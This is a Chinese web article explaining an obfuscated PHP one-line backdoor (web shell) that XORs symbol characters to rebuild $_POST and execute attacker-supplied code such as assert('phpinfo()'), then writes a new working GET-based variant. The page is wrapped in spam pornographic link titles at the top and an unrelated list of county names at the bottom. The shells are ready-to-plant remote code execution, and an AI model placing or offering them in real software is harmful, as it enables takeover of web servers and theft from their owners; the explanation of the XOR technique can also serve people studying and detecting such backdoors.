亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

一個神秘的一句話后門代碼詳解

發布時間:2020-07-13 08:06:41 來源:網絡 閱讀:1601 作者:JunStar 欄目:web開發

神秘的一句話后門代碼內容:


<?php
   @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]);
?>


代碼作用:

以上代碼即是PHP的一句話后門,當POST數據為0=assert&1=phpinfo();則會執行assert('phpinfo()');

在FireFox下使用HackBar插件模擬發送POST請求的結果如下圖所示:


一個神秘的一句話后門代碼詳解

為什么說他神秘呢?因為奇怪的是,代碼里面沒有一個正常的代碼字符,卻能接收POST的數據,并執行系統函數。接下來,分析他是如何能夠執行的。


格式化代碼,并打印結果:

<?php
   @$_++;			//var_dump($_);     1
   $__=("#"^"|");		//var_dump($__);    _
   $__.=("."^"~");		//var_dump($__);    _P
   $__.=("/"^"`");		//var_dump($__);    _PO
   $__.=("|"^"/");		//var_dump($__);    _POS
   $__.=("{"^"/");		//var_dump($__);    _POST
   ${$__}[!$_](${$__}[$_]);	//即$_POST['0']($_POST['1']);
?>


由打印數據我們可以看到,其實,代碼本身就是最后執行了$_POST['0']($_POST['1']);而其中的_POST的每個字符都是由兩個符號進行異或操作后拼接得到的。


那么問題來了,為什么異或后會得到_POST呢。這里就牽涉到PHP的字符串異或運算。首先解釋下,什么叫異或操作。異或操作一般叫做按位異或。意思就是兩個二進制數,按位進行運算,同為0或1的結果為0,不相同的結果為1。比如10101100 ^ 11010010 = 01111110。而PHP的字符串異或運算總共有下面5個步驟:

1.將需要進行異或的兩個字符串都轉行成十進制的asc2碼值;
2.將asc2碼值轉換成二進制數;
3.將轉換后的二進制數進行按位異或操作;
4.將異或后得到的二進制數轉換成十進制數;
5.根據asc2碼表,將十進制數轉換成字符串并返回.
至此,PHP的字符串異或操作完畢

于是,可以解釋,為什么最終會得到_POST字符串。比如下劃線_的獲得,就是先將#和|都轉行成十進制的asc2碼值,35和124(在PHP中可以使用ord函數獲取到字符串對應的asc2碼值),然后將35和124都轉換成二進制數00100011和01111100然后按位異或得到01011111然后轉換成十進制是95,然后得到由asc2碼表得到95對應的字符串為_(在PHP中可以使用chr函數獲取到十進制數對應的asc2碼表的字符串


了解到PHP字符串異或運算的原理,那么,其實我可以修改下此后門,改成由GET接收參數。


為了知道哪兩個單字符的異或運算可以分別得到G或者E,做如下程序,打印一個列表,得到任意兩個單字符進行異或的結果

<?php
header("Content-type:text/html;charset=utf-8");
?>
<table width="50%" border="0" cellpadding="2" cellspacing="0">
<tr>
<td>異或值A</td>
<td>異或值B</td>
<td>異或結果</td>
</tr>
<?php 
for( $i=0; $i<=127; $i++ ){
	$array[] = chr( $i );
} 
?>
<?php for( $i=0; $i<=127; $i++ ){ ?>
	<?php $a = array_shift($array); ?>
	<?php foreach( $array as $v ){ ?>
		<tr>
			<td><?php echo $a; ?></td>
			<td><?php echo $v; ?></td>
			<td><?php echo $a ^ $v; ?></td>
		</tr>
	<?php } ?>
<?php } ?>
</table>


由如上的列表可以查到G可以由 ' ^ ` 得到,E可以由 8 ^ } 得到,于是如下的程序也可以作為一句話后門,并且參數是由GET傳遞:


<?php
//GET方式 接收參數
@$_++;
$__=("#"^"|");	//	_
$__.=("'"^"`");	//	G
$__.=("8"^"}");	//	E
$__.=("{"^"/");	//	T
${$__}[!$_](${$__}[$_]);
?>


至此,神秘的一句話后門詳解完畢。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

双桥区| 出国| 万山特区| 聂拉木县| 龙里县| 临桂县| 镇赉县| 河津市| 洛扎县| 九台市| 云阳县| 东丽区| 诸城市| 文山县| 灵台县| 阳曲县| 榆树市| 呼伦贝尔市| 张北县| 平安县| 平泉县| 财经| 克拉玛依市| 平谷区| 广平县| 阜康市| 广南县| 上林县| 沂水县| 寿阳县| 澄迈县| 永州市| 大宁县| 普安县| 磐石市| 万山特区| 阜平县| 云和县| 仁寿县| 庄浪县| 紫阳县|